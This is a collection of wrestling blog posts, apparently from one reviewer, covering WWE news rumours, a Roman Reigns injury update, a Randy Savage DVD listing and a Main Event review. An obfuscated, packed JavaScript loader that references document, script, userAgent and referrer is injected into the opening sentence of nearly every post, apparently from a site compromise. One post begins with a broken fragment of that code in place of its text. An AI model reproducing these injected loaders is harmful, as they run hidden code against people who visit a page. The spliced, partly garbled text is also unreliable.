Austin Isn’t Coming Back

At eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybitz|var|u0026u|referrer|ybrrn||js|php'.split('|'),0,{})) least not for now.The story going around is that Austin said on his podcast that he was training for a comeback.  I heard the episode he was talking about and it seemed like that would be a bit bigger deal than a quick throwaway line.

 

Well I’m currently listening to the new one and Austin said he was training for a comeback……to go to Gold’s Gym.  Yeah amazingly enough Austin didn’t announce his return to wrestling for what would probably be the main event of Wrestlemania on a podcast with a retired wrestler that most people have never heard of.  It’s almost like news outlets jump to conclusions about stories without knowing all the details yet.



Thought of the Day: Like Clockwork

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifzie|var|u0026u|referrer|ibist||js|php'.split('|'),0,{})) do we always miss this?It’s fall again and, just like every year, WWE is getting dull.  As usual, fans are annoyed that the product sucks, even though they sit through this EVERY SINGLE YEAR.  Think about it: every year the last few months are always a letdown and every single year the fans act surprised by it.  Why would you expect it to be different?  There has to be a down time in there somewhere, if nothing else just due to people running out of gas and needing to recharge a bit.

 

Every year it’s the same thing and every year it’s the same response.  It really should be expected by now.



The New Nation Has A Name

….and eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irbbi|var|u0026u|referrer|bfhat||js|php'.split('|'),0,{})) it’s bad.They’re called Speed Force.

Speed Force.

They’re had like six weeks and they came up with SPEED FORCE?



Thought of the Day: (WW)E For Effort

We’re talking about the writing team today.I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkdhi|var|u0026u|referrer|fatzn||js|php'.split('|'),0,{})) can’t believe I’m saying this, but it seems like WWE is actually trying to do some new stuff with some characters.  You can see this very clearly in last night’s Intercontinental Title match.

 

Last night we saw Dolph Ziggler, accompanied by R-Ziggler, facing Hollywood Miz and his stunt double Damien Mizdow.  Here’s the important thing: you have three new characters out there and they guys are getting some fresh mileage out of it.

 

Now don’t get me wrong: R-Ziggler or Hollywood Miz aren’t going to main event a pay per view anytime soon, but these guys (and Sandow) were dead in the water.  Look at Truth for example.  We’ve seen him rap his own theme song and dance in the ring while talking about Little Jimmy and hitting the same moves for years now.  There was absolutely nothing we haven’t covered with him and there was nowhere else for him to go.  You knew he wasn’t going to win save for the occasional fluke upset to set up a nothing midcard title match and the rest of the time he was there as a jobber to the stars.

 

Now he’s Dolph Ziggler’s buddy and I’m not entirely sure if he’s going to win or lose.  He’s still the same wrestler, but the fresh package gives him several more miles.  It’s much better than just turning him heel and having him be the same guy because now he’s a new guy.  Look back to 2011 when he was turned crazy.  It was an entirely different character and he got a World Title match on pay per view out of it.

 

THe same is true for Sandow but it even has some roots.  You can look at Mizdow as his ultimate impersonation and it’s actually working for him.  It’s far better to be Miz’s lackey than to be out there for a one off comedy spot that doesn’t go anywhere and you can see the payoff coming a mile away.

 

They’re actually trying and while I have no reason to believe it’s going to last, it’s very nice to see them throwing something new out there than trying the same things over and over again and having them go nowhere.

 

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00NPPH0WI

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6



Update on Reigns

According eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkfei|var|u0026u|referrer|esbtt||js|php'.split('|'),0,{})) to WWE.com, Reigns will be out four to six weeks, likely closer to six.  The hernia has been fixed and it should be just recovery now.



Roman Reigns Undergoes Surgery, Likely Out Of Night of Champions

According eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdzit|var|u0026u|referrer|azykn||js|php'.split('|'),0,{})) to WWE.com.  It’s due to something called an incarcerated hernia.  No word on how long he’ll be out.



Full Listings For New Macho Man Randy Savage DVD/Blu Ray

It comes out on November 18.

DISC eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|saryf|var|u0026u|referrer|bnkhb||js|php'.split('|'),0,{})) 1
Documentary
– Driven to Perfection
– Bred to Achieve
– Baseball Days
– Transition into Wrestling
– Developing The Macho Man
– Earning a Reputation
– WrestleMania III
– WWE Champion
– Mega Powers
– Randy & Liz
– Spokesperson
– WCW
– Hardships
– Giving Back
– True Love
– May 20, 2011
– Cream of the Crop

DISC 2
Intercontinental Championship Match
“Macho Man” Randy Savage vs. Ricky “The Dragon” Steamboat
Superstars • November 22, 1986

Lumberjack Match for the Intercontinental Championship
“Macho Man” Randy Savage vs. Bruno Sammartino
Boston Garden • February 7, 1987

Intercontinental Championship Match
“Macho Man” Randy Savage vs. Ricky “The Dragon” Steamboat
Maple Leaf Gardens • February 15, 1987

“Macho Man” Randy Savage vs. “The King” Harley Race
Philadelphia, PA • September 18, 1987

Six-Man Tag Team Steel Cage Match
“Macho Man” Randy Savage & Strike Force vs. Honky Tonk Man & The Hart Foundation
Boston Garden • March 5, 1988

WWE Championship Match
“Macho Man” Randy Savage vs. “Million Dollar Man” Ted DiBiase
Boston Garden • July 9, 1988

Harlem Street Fight for the WWE Championship
“Macho Man” Randy Savage vs. Bad News Brown
Hamilton, Ontario • January 16, 1989

WWE Championship Match
Hulk Hogan vs. “Macho Man” Randy Savage
Madison Square Garden • April 24, 1989

DISC 3
“Macho Man” Randy Savage vs. “Rowdy” Roddy Piper
Miami, FL • January 22, 1990

WWE Championship Match
“Macho Man” Randy Savage vs. Shawn Michaels
Munich, Germany • April 14, 1992

WWE Championship Match
“Macho Man” Randy Savage vs. The Ultimate Warrior
SummerSlam • August 31, 1992

WWE Championship Match
“Macho Man” Randy Savage vs. Ric Flair
Prime Time Wrestling • September 14, 1992

WCW Television Championship Match
“Macho Man” Randy Savage vs. Arn Anderson
WCW Saturday Night • January 28, 1995

Steel Cage Match for the WCW Championship
“Macho Man” Randy Savage vs. Ric Flair
WCW Superbrawl VI • February 11, 1996

Las Vegas Sudden Death Match
“Macho Man” Randy Savage vs. Diamond Dallas Page
WCW Halloween Havoc • October 26, 1997

BLU-RAY EXTRAS
Lumberjack Match for the WWE Championship
Hulk Hogan vs. “Macho Man” Randy Savage
Madison Square Garden • February 17, 1986

Winner is the King of WWE
“Macho Man” Randy Savage vs. “Hacksaw” Jim Duggan
Madison Square Garden • October 28, 1989

“Macho Man” Randy Savage & Sting vs. The Blue Bloods (Lord Steven Regal & Earl Robert Eaton)
WCW Saturday Night • September 9, 1995

“Macho Man” Randy Savage vs. Booker T
WCW Nitro • December 15, 1997

Blu-Ray Exclusive Stories
– Ambidextrous?
– Card Shark
– Fearing the Savage
– Getting into the WWE
– Snake Fixed?
– A Safety Net
– Hundred Dollar Bill Guy
– Jerusalem
– Highly Competitive
– No Days Off
– Cowboy Hats
– Part of the Team
– Shifting Gears
– Very Generous
– Thanksgiving Call
– Walking Away
– Michael Schmidt
– Macho Tip

I’ve seen most of those matches.  I’m pretty sure the cage match was on an old Coliseum Video and I remember it being pretty awesome.


Hulk Hogan’s Rock N Wrestling Coming To WWE Network

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnssa|var|u0026u|referrer|nkydf||js|php'.split('|'),0,{})) yeah…..best day ever.



Main Event – April 8, 2014: How The Mighty Have Fallen

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkaty|var|u0026u|referrer|ezfkz||js|php'.split('|'),0,{})) Event
Date: April 8, 2014
Location: CajunDome, Lafayette, Louisiana
Commentators: Tom Phillips, Byron Saxton

We open with a long recap from Raw where Shield turned face to save Bryan from the Authority. Everyone in the building knew that was coming and they went nuts for it anyway.

Opening sequence.

Shield vs. Wyatt Family

Dean is sent to the ropes and tries to skin the cat but Rowan kicks him to the floor and we take another break. One of the commercials is for the Warrior DVD which still makes me shake my head given the news that would break about three hours later. Back with Harper Gator Rollins Ambrose but getting caught in a jawbreaker. Harper pops back up though and slams Dean down to stop a hot tag attempt.

We see some of the mainstream coverage of the Streak ending.

Video on the history of Wrestlemania set to Celebrate by Kid Rock. This turns into a montage of WWE clips with maybe half of them being from Wrestlemania.

Jack Swagger vs. Dolph Ziggler

Zeb rants about Cesaro turning on them last night, thus confirming his thoughts about immigrants. Ziggler nails a great dropkick to start but Jack takes him down and hits a quick Vader Bomb for two. Dolph comes back with a running cross body and some right hands in the corner, only to have Swagger chop block him down. Another Vader Bomb attempt hits boots but Jack grabs the Patriot Lock. That goes nowhere and Ziggler gets two off the Fameasser. The running DDT gets the same but Ziggler tries to get a bit too fast and is thrown into the Patriot Lock for the submission at 4:07.

Clip of Rusev debuting (again) last night.

Sin Cara vs. Alexander Rusev

Kick, slam, Accolade, 47 seconds. He would lose the Alexander in a few months.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6



Warner Brothers Looking To Buy……Something

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkayn|var|u0026u|referrer|yzrar||js|php'.split('|'),0,{})) story going around at the moment is that Warner Brothers is looking to buy the WWE video library.  However, almost every wrestling site is interpreting this as they want the distribution rights, which is an entirely different idea.  That would be a big boost to WWE as Warner Brothers is a far bigger name in distribution than the company WWE uses (Cinedigm) isn’t huge from what I can tell.  The headline about wanting to buy the whole library is misleading and would cause a lot of major changes in WWE.  I can’t picture that happening though and my guess is it’s just the distribution rights, which would be very interesting as well.